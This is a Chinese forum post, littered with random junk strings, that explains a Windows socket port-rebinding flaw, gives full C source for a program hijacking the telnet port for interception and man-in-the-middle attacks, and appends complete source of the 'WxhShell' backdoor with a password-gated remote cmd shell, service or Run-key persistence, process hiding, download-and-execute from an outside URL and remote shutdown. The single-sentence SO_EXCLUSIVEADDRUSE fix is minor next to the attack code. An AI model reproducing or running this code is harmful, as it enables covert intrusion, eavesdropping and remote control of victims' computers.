-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c F(]`49( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '%"#] u +OfUBrf saddr.sin_family = AF_INET; v{2Vg ?V&[U saddr.sin_addr.s_addr = htonl(INADDR_ANY); d\ Z#XzI8 &Wup
7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZVek`Cc2 dO[w3\~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lC i_G3C oFRb+H(E 这意味着什么?意味着可以进行如下的攻击: +iPS=?S M^^u{);q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cIgicp}U $wn"+wX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4q<:%
0M| dj76YK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6gfdXVN5 qqYH}%0dz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 BDg6ZI<n o*u A+7n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,uP1U@Cas AcF;5h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1dK^[;v>3 /vB%gqJvX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $V8B =k~ HiG&`:P>q #include T<0Bq"'% #include d0 tN73( #include (Rk g #include 9D_4]'KG DWORD WINAPI ClientThread(LPVOID lpParam); S-h1p` int main() .j4IW3) { jL)aU> kN WORD wVersionRequested; X3Vpxtb DWORD ret; BI=Ie? WSADATA wsaData; pz^"~0o5 BOOL val; c"J(? 1O SOCKADDR_IN saddr; vwzTrWA= SOCKADDR_IN scaddr; YAZ=-@]`\ int err; Nu{RF SOCKET s; /BVNJNhz SOCKET sc; ^dYLB.'= int caddsize; ^\mN<z( HANDLE mt; h3xX26l DWORD tid; Y^S0K'N wVersionRequested = MAKEWORD( 2, 2 ); 7w{`f)~ err = WSAStartup( wVersionRequested, &wsaData ); (s{%XB:K if ( err != 0 ) { cVn7jxf printf("error!WSAStartup failed!\n"); v(4C?vxhG return -1; $b$r,mc } =fi.*d?$7 saddr.sin_family = AF_INET; ASy7")5 \{+7`4g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EGGy0 ly 6aQ{EO-]'= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HA"dw2| saddr.sin_port = htons(23); `U`Z9q5- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K{>O.5 { ?67j+) printf("error!socket failed!\n"); i$:CGUb return -1; 9i|6 } o
ohf)) val = TRUE; Gh|1%g"gm //SO_REUSEADDR选项就是可以实现端口重绑定的 GJy,)EO6{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;N"XW=F4e { _TQt!Re`, printf("error!setsockopt failed!\n"); {Y'_QW1:2 return -1; S8,+6+_7 } xI:;%5{LN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \wDOE(> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !>S'eXt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 29Q5s$YD@ Dh +^;dQ6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <U,T*Ql1x { Y@.JW ret=GetLastError(); l3iL.?&Pa printf("error!bind failed!\n"); [sKdIw_ return -1; At bqj? } eIqj7UY_ listen(s,2); UN>hJN;c while(1) 3UN Jj&-` { A<.Q&4jb caddsize = sizeof(scaddr); MzG(+B //接受连接请求 swLgdk{8n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q75F^AvH if(sc!=INVALID_SOCKET) ryn) { 10}Zoq|)n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .ySesN: C~ if(mt==NULL) o$-8V:)6d { Bnxzy
n printf("Thread Creat Failed!\n"); GO?-z 0V break; l
E&hw } R<U?)8g,h~ } QOF;j#H^ CloseHandle(mt); G8;S`-D1a, } QKP9*dz
closesocket(s); ^g[])2", WSACleanup(); } 1XLe return 0; 5r+0^UAO:J } FQ-(#[ DWORD WINAPI ClientThread(LPVOID lpParam) y2qESAZ%k} { s?6 7@\ SOCKET ss = (SOCKET)lpParam; Zgg 7pL)#c SOCKET sc; zEhy0LLm unsigned char buf[4096]; - 5k4vx
N} SOCKADDR_IN saddr; yav)mO~QU6 long num; E%;'3Qykva DWORD val; 7GIv3Dc DWORD ret; |v1 K@ //如果是隐藏端口应用的话,可以在此处加一些判断 eN-{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 asq/_` saddr.sin_family = AF_INET; qIqk@u saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~o%-\^oc saddr.sin_port = htons(23); XeB>V.<y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n47=eKd70 { v]BQIE?R / printf("error!socket failed!\n"); JyqFFZ& return -1; jo |q,t } aW6+Up+G* val = 100; b #^aM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1`}fbX;"m) { )4`Ml*7x ret = GetLastError(); QhG-1P3# return -1; Gzir>'d2'V } bMUIe\/v[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vV[dJ% { 5"gRz9Ta` ret = GetLastError(); ATzNV=2s return -1; (En\odbvt } ~r!5d@f.6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -+9x 0-P { wrO>#`Z printf("error!socket connect failed!\n"); vW{cBy closesocket(sc); tT8jC:oVa closesocket(ss); .#:,j1L"53 return -1; L~oFW'
} y{{EC# while(1) n>E*g|a { R_qo]WvR; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fD~!t 8J //如果是嗅探内容的话,可以再此处进行内容分析和记录 38m%ifh) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K8UAz" num = recv(ss,buf,4096,0); jzj{{D[^ if(num>0) YDNqWP7s send(sc,buf,num,0); osd^SnL1/5 else if(num==0) I1myu Z break; _M&.kha num = recv(sc,buf,4096,0); ob] lCX) if(num>0) ii;WmE& send(ss,buf,num,0); |tg?b&QR else if(num==0) {a3kn\6H0 break; ZmULy;{<) } `Q&]dE= closesocket(ss); &1p8#i closesocket(sc); bNROXiX return 0 ; 4{DeF@@ } )R^Cq o' K7hf m%`N }K>HS\e ========================================================== ~t:b<'/ Qsntf.fT 下边附上一个代码,,WXhSHELL P*PL6UQ f^)uK+:. ========================================================== 3] qlz?5 O&,O:b:@ #include "stdafx.h" xploFw~ s3M84w z #include <stdio.h> gFT~\3jp= #include <string.h> |sFe:TX #include <windows.h> |nEVOy>' #include <winsock2.h> s\W #include <winsvc.h> M?B(<j1Ri #include <urlmon.h> IMGqJc,7 ~B&*7Q7 #pragma comment (lib, "Ws2_32.lib") pIu H*4Vz #pragma comment (lib, "urlmon.lib") m IzBK]@^ %<?ciU #define MAX_USER 100 // 最大客户端连接数 w`}9/s;$ #define BUF_SOCK 200 // sock buffer s1vrzze #define KEY_BUFF 255 // 输入 buffer v\Y}(fD TJXraQK-= #define REBOOT 0 // 重启 <KwK
tgzs #define SHUTDOWN 1 // 关机 Uk:.2%S2 cU*lB! #define DEF_PORT 5000 // 监听端口 H\I!J@6g <8)s #define REG_LEN 16 // 注册表键长度 F36ViN\b #define SVC_LEN 80 // NT服务名长度 A'(7VJ O4/n!HOb // 从dll定义API &ZE\@Vc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;x-H$OZX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |2@en=EYk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v{2DBr
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tin|,jA = ;a#*|vx // wxhshell配置信息 *9vA+uN struct WSCFG { ey)u7-O int ws_port; // 监听端口 ZCBPO~&hO' char ws_passstr[REG_LEN]; // 口令 F:J7|<J^F int ws_autoins; // 安装标记, 1=yes 0=no )E:,V~< 8 char ws_regname[REG_LEN]; // 注册表键名 .NkAD-k` char ws_svcname[REG_LEN]; // 服务名 cH;TnuX char ws_svcdisp[SVC_LEN]; // 服务显示名 y5/6nvH_6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 qijcS2E6S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bW9"0=j[{ int ws_downexe; // 下载执行标记, 1=yes 0=no lB!vF ~A& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 6B''9V:s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _~[?>cF% JT|u;Z*n }; ?{: D,{+ HRV*x!|I // default Wxhshell configuration Yu^H*b struct WSCFG wscfg={DEF_PORT, _IL2-c8 "xuhuanlingzhe", p08kZ 1, ^%8qKC`Tt "Wxhshell", y-# "Wxhshell", "XNu-_$N<a "WxhShell Service", =#(0)p$EC "Wrsky Windows CmdShell Service", i7nL_N "Please Input Your Password: ", ole|J 1, y?#9>S >:\ " http://www.wrsky.com/wxhshell.exe",
Znta#G0 "Wxhshell.exe" ^IGyuj0]jG }; %X9b=%'+ \V^*44+
<! // 消息定义模块 jJVT_8J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &$c5~9p\B char *msg_ws_prompt="\n\r? for help\n\r#>"; 7':f_] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; h}|6VJ@. char *msg_ws_ext="\n\rExit."; 1s`)yu^`v char *msg_ws_end="\n\rQuit."; U,<]J*b(@4 char *msg_ws_boot="\n\rReboot..."; /zG+] char *msg_ws_poff="\n\rShutdown..."; lRDxIuTK char *msg_ws_down="\n\rSave to "; i_u
{5 U; 2L2 VVO char *msg_ws_err="\n\rErr!"; 1n'$Ji7 char *msg_ws_ok="\n\rOK!"; #SQvXMT {y-2 char ExeFile[MAX_PATH]; e40udLH~x int nUser = 0; @Y
UY9+D& HANDLE handles[MAX_USER]; $J"%I$%X= int OsIsNt; I1)-,/nEjg )'5<6Q.] SERVICE_STATUS serviceStatus; UP;Q= t SERVICE_STATUS_HANDLE hServiceStatusHandle; ivzAlwP v**z$5x9 // 函数声明 kG1;]1tT# int Install(void); [q-;/ed int Uninstall(void); dTN$y\
int DownloadFile(char *sURL, SOCKET wsh); *bA+]&dj\ int Boot(int flag); u#+RUtM void HideProc(void); gg-};0P- int GetOsVer(void); ?MC(}dF0 int Wxhshell(SOCKET wsl); Xsd$*F@< void TalkWithClient(void *cs); \+k, :8s/ int CmdShell(SOCKET sock); ^/>Wr'w int StartFromService(void); J/'M N int StartWxhshell(LPSTR lpCmdLine); $Z;B QJVH zF5q=9 4$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \=!H 2M VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5`{vE4A]q )O3jQ_q= // 数据结构和表定义 QjA&IZEC
SERVICE_TABLE_ENTRY DispatchTable[] = -Z%F mv8 { u7;`4P:o@ {wscfg.ws_svcname, NTServiceMain}, 99e*]')A% {NULL, NULL} pkX v.D` }; HU &) HG2GZ}~^1 // 自我安装 [yw%i h) int Install(void) Ly9Q}dL { 3Y
z]8`C char svExeFile[MAX_PATH]; 5W+{U8\ HKEY key; +UxI{,L strcpy(svExeFile,ExeFile); {A|bBg1! =fl%8"%N& // 如果是win9x系统,修改注册表设为自启动 SLkuT`* if(!OsIsNt) { XHs d- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } ^"0T-ua RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1SW4Y RegCloseKey(key); |q;Al
z{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rA,CQypo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <cYp~e%xIw RegCloseKey(key); .f>,6? return 0; Dg~
[#C- } .nEs:yn } Is13: } nv"G;W else { p8=|5. Qyz>ZPu}sz // 如果是NT以上系统,安装为系统服务 u4YM^* S. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Yp+k}XU if (schSCManager!=0) Xo Y7/&& { <_9!
SC_HANDLE schService = CreateService s~^*+kq ( td >,TW=A* schSCManager, .Gh%p`< wscfg.ws_svcname, lop uf/U0 wscfg.ws_svcdisp, B{p4G`$i1 SERVICE_ALL_ACCESS, yRC3
.[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ibJl;sJ SERVICE_AUTO_START, 7JI:=yY!>: SERVICE_ERROR_NORMAL, LM:)j:gS6 svExeFile, +Hj/0pp NULL, jYWw.g< NULL, xO7Yt
l NULL, iK!dr1:wSw NULL, KmQ^?Ad-C NULL ==N` !+ ); EJLQ&oH[ if (schService!=0) vU!8`x) { Z:@6Lv?CN CloseServiceHandle(schService); _gW{gLYyJ CloseServiceHandle(schSCManager); )lh8
k{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IaLMWoh strcat(svExeFile,wscfg.ws_svcname); V&i2L.{G) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'wZ_4XjD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EMlIxpCn: RegCloseKey(key); "jR]MZ return 0; HzvlF0f } d&jjWlHgEN } `
W4dx& CloseServiceHandle(schSCManager); rjUBLY1( } < Dd% } 0|XKd24BN ',ZF5T5z@ return 1; 2n|CD|V$ux } DyfsTx Mra35 // 自我卸载 F;u_7OM int Uninstall(void) x=]S.XI { -U-P}6^ HKEY key; 5M:D?9E+ KE.Dt if(!OsIsNt) { jl}$HEI5m} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d(7NO;S8 RegDeleteValue(key,wscfg.ws_regname); /v#)f-N%zs RegCloseKey(key); #cU^U#;= r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AW~"yI< RegDeleteValue(key,wscfg.ws_regname); sDC*J\X RegCloseKey(key); eA=WGy@IcN return 0; YEv
Lhh } {)@D`{$ } M2@;RZ(| } Jdj?I'XtY else { |QMA@Mx +Ok%e.\ZM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6|!NLwa if (schSCManager!=0) 3c #s|qW { XE rUS80 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Elg?)os if (schService!=0) V8PLFt; { "DQ'C%sL9 if(DeleteService(schService)!=0) { ^Ga&}- CloseServiceHandle(schService); %=Tr^{i CloseServiceHandle(schSCManager); ;..o7I return 0; 1 ] #9
} 2)
?q58 CloseServiceHandle(schService); NfzF.{nh } =o^|b ih CloseServiceHandle(schSCManager); WeMAe
w/d } R7?29?$7 } |`O7nOM `rb>K return 1; 4(cJ^]wb ^ } Z4hLdHo_ B4g8
~f // 从指定url下载文件 WE6\dhJ< int DownloadFile(char *sURL, SOCKET wsh) }Ln@R~[ { ~/-eyxLTm HRESULT hr; -rSIBc:$8 char seps[]= "/"; {fDTSr?/ char *token; vF4]ux&
char *file; |L::bx( char myURL[MAX_PATH]; #X`8dnQZ char myFILE[MAX_PATH]; K84^Oq ^G|98yc!' strcpy(myURL,sURL); xT*d/Oa w token=strtok(myURL,seps); jz'< while(token!=NULL) g(hOg~S\E { '#\1uXM1U? file=token; h<6UC%'ac token=strtok(NULL,seps); 2/7_;_#vJ% } TgfrI
\Kavw GetCurrentDirectory(MAX_PATH,myFILE); ^G1%6\We strcat(myFILE, "\\"); Yu3zM79'k strcat(myFILE, file); ?jO 5 9n send(wsh,myFILE,strlen(myFILE),0); cYNV\b4- send(wsh,"...",3,0); lr@#^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8g~EL{' if(hr==S_OK) q]% T:A= return 0; /rc%O*R else 1(#;&:$`i return 1; d8o53a] <a^Oj LLU } BR5BJX LT@OWH // 系统电源模块 1X1 NtS@ int Boot(int flag) Pm{*.AW1 { T*[
VY1 HANDLE hToken; $_;e>*+x TOKEN_PRIVILEGES tkp; 1wj:aD?g If-_?wZe if(OsIsNt) { T7*wS#z)h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !#yq@2QX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &1|?BZv tkp.PrivilegeCount = 1; K>/%X!RW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2C`<h$fN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {zLhiUH
a0 if(flag==REBOOT) { 3ec`Wa
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iw9Q18:I} return 0; 5F"|E-; } B4Y(?JTx else { `~BZ1)@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,e722wz return 0; NH A 5e< } b1#dz] } e [h8}F else { UUe#{6Jx_ if(flag==REBOOT) { eU@Cr7@,| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iq$$+y, return 0; ,m3e?j@;r } PmpNAVE' else { z+{,WHjo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R`8@@} return 0; Guw}=l--YR } )cJ#-M2 } }_'IE1bA W_|0y4QOo return 1; / ~%KVe } -Z-f1.Dm5 7,
}
$u // win9x进程隐藏模块 8IQtz2 void HideProc(void) A7_4.VH { g|X ;ahTT friWW^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1c4/}3* if ( hKernel != NULL ) DOS0;^f { 0|4%4Mt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hwYQGtjF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H6*^Ga FreeLibrary(hKernel); F9"w6;hh } Ex amD">T \>. LW9 return; )- 15 N } *iO u' 82{ Vc // 获取操作系统版本 f"[J"j8 int GetOsVer(void)
zG }? { ^nJyo:DO; OSVERSIONINFO winfo; !^#jwRpeN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7w:ef0S GetVersionEx(&winfo); H<hVTc{K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !l?.5Pm]) return 1; GE;e]Jkjn else mYN7kYR}<` return 0; j`'`)3f } v,-{Z1N%m RoA?p;]< // 客户端句柄模块 xJ^>pg8 int Wxhshell(SOCKET wsl) x9/H/' { {e[%;W%c& SOCKET wsh; .;y# struct sockaddr_in client; 6=4wp? DWORD myID; S:4crI <~}7Mxn%x@ while(nUser<MAX_USER) ~vmdXR`'T { MObt,[^W int nSize=sizeof(client); 0nn okN^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WV3|?,y]qm if(wsh==INVALID_SOCKET) return 1; W>r#RXmh ?]fF3 SJk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2XTPBZNe if(handles[nUser]==0) bmN q[} closesocket(wsh); 7{e{9QbJ4 else {FRAv(,\ nUser++; 2"|2a@ } p.ANVA@: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !CXt*/~ 9TF f8'?d return 0; _Jwq`]Z } NaVQ9ku7VW S6}@I ,Q // 关闭 socket ,fK3ZC void CloseIt(SOCKET wsh) "|;:>{JC { V/cP4{L closesocket(wsh); ,NnhHb2\ nUser--; rG#Z=*b% ExitThread(0); /? r?it } >AoK/(yL. A+y // 客户端请求句柄 ;\EiM;Q] void TalkWithClient(void *cs) CTWn2tpW { 8N:owK 6x"Q
SOCKET wsh=(SOCKET)cs; Gl1jxxd char pwd[SVC_LEN]; `cPywn@uGZ char cmd[KEY_BUFF]; rl9.]~ char chr[1]; ?$f)&O int i,j; uwRr LF fLV"T_rk while (nUser < MAX_USER) { %6AW7q
t KD/V aN if(wscfg.ws_passstr) { R'kyrEO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (D@A74q\' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /R>nr" //ZeroMemory(pwd,KEY_BUFF); MCU_Z[N#10 i=0; |F9z,cc" while(i<SVC_LEN) { v9Xp97J2 \Mg`(,kwe // 设置超时 [tMZ G%h fd_set FdRead; Bo<>e~6P struct timeval TimeOut; R!l:O=[< FD_ZERO(&FdRead); u:aW 8 FD_SET(wsh,&FdRead); TCT57P#b TimeOut.tv_sec=8; SQeRSz8bK4 TimeOut.tv_usec=0; jV(6>BAI_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d
Le-nF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .{;Y'Zc14S 8q1wHZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wrr cx( pwd =chr[0]; :4^\3~i1X if(chr[0]==0xd || chr[0]==0xa) { P2nft2/eu? pwd=0; 2e$w?W0^ break; h" H2z1$ } k}KC/d9.z i++; W8lx~:v } 5,)Qw =)hVn // 如果是非法用户,关闭 socket p7:{^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AfG/JWSo} } qc#)! 1 sPdz
L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bT
2a40ul send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FQ>`{%> N}\[Gr while(1) { 0i8LWX_M ^
wY[3"{ ZeroMemory(cmd,KEY_BUFF); <>m }}^ !QDQ_ // 自动支持客户端 telnet标准 #
O4gg j=0; JHf while(j<KEY_BUFF) { 1SrJ6W @j[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4%1D}9hO6 cmd[j]=chr[0]; rQ=,y>-* if(chr[0]==0xa || chr[0]==0xd) { U^qt6$bK cmd[j]=0; S1/`th break; " R8KQj } Hcc"b0>}{ j++; %Th>C2\ } @iEA:?9uX 4A9{=~nwT // 下载文件 &-5_f*{ if(strstr(cmd,"http://")) { _-5,zPR send(wsh,msg_ws_down,strlen(msg_ws_down),0); Isx#9C if(DownloadFile(cmd,wsh)) 191&_*Xb send(wsh,msg_ws_err,strlen(msg_ws_err),0); PQ@L+],C else kNqH zo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [o*7FEM|< } w`l{LHrR else { S$2b>#@UJ K(XN-D/c switch(cmd[0]) { W+*5"h *m2=/Sh // 帮助 *Z_C4Tj case '?': { iMfngIs | send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XJ2^MF2BU break; kh%{C]".1 } jYiv'6z // 安装 !Ci~!)$z6 case 'i': { Jk0r&t7 if(Install()) .(Qx{r$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); p _d:eZ else 7OjR._@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<H
|QL& break; !45.puL0 } nk3y"ne7 // 卸载 r=c<--_@ case 'r': { Jjl`_X$CB if(Uninstall()) #[#KL/i)$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); fr!Pj(Q1 else ""Q1| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9>vO,n break; |pa$*/!NT } _{jjgQJ5 // 显示 wxhshell 所在路径 fu$R7 case 'p': { jSc#+_y char svExeFile[MAX_PATH]; zS]8V?` strcpy(svExeFile,"\n\r"); g:0#u;j^7 strcat(svExeFile,ExeFile); Ngg?@pG0y send(wsh,svExeFile,strlen(svExeFile),0); Xv@SxS-5l break; _e9:me5d"$ } ?aW^+3i // 重启 z#F.xVg' case 'b': { GA`PY-Vs) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )#F]G$51r if(Boot(REBOOT)) @Tfl>/% send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D g_?._d else { X\}Y closesocket(wsh); Dz./w ExitThread(0); t tXjn } gT/@dVV break; [yj).*0 } fm~kM
J // 关机 KgN)JD> case 'd': { hm<}p&!J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TPhTaKCio if(Boot(SHUTDOWN)) >M Jg , send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1N2,mo?2 else { 1
y}2+Kk closesocket(wsh); ( )sTb>L ExitThread(0); 5PcJZi^.l } #0 6-: break;
fI\9\x } %<8nF5 // 获取shell wW?,;B'74 case 's': { L !4t[hhe= CmdShell(wsh); Q!,<@b) closesocket(wsh); $;G{Pyp ExitThread(0); >u%]6_[ break; PCn Q_A-Q } PM":Vd/ // 退出 )6~1 ^tD case 'x': { d3^OEwe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rw)kAe31 CloseIt(wsh); 0ult7s} break; /J)l /oI } 6mH/ m& // 离开 2k6 X, case 'q': { 4(l?uU$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); C6_@\&OA closesocket(wsh); ":3 VJ(eY WSACleanup(); j'i0*"x exit(1); U}Hwto`R break; ]\RRqLDzkg }
>ds%].$-\ } G1 o70 } OPBt$Ki :T3/yd62N // 提示信息 #[MJ|^\i if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,a?\MM9$ } {5*|C-WWtG } a:YI"*S
8&"(WuZ@ return; }_QKJw6/" } H(0q6~| h x6;YV // shell模块句柄 c':ezEaC int CmdShell(SOCKET sock) HEqWoV]{d { b4Y8N"hL% STARTUPINFO si; q^rl) ZeroMemory(&si,sizeof(si)); %[<Y9g,:Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y%]8'q$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O gmO&cE PROCESS_INFORMATION ProcessInfo; 0h$GI"dR char cmdline[]="cmd"; +w|9x.&W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <I;*[;AK return 0; T)7TyE|"2g } M
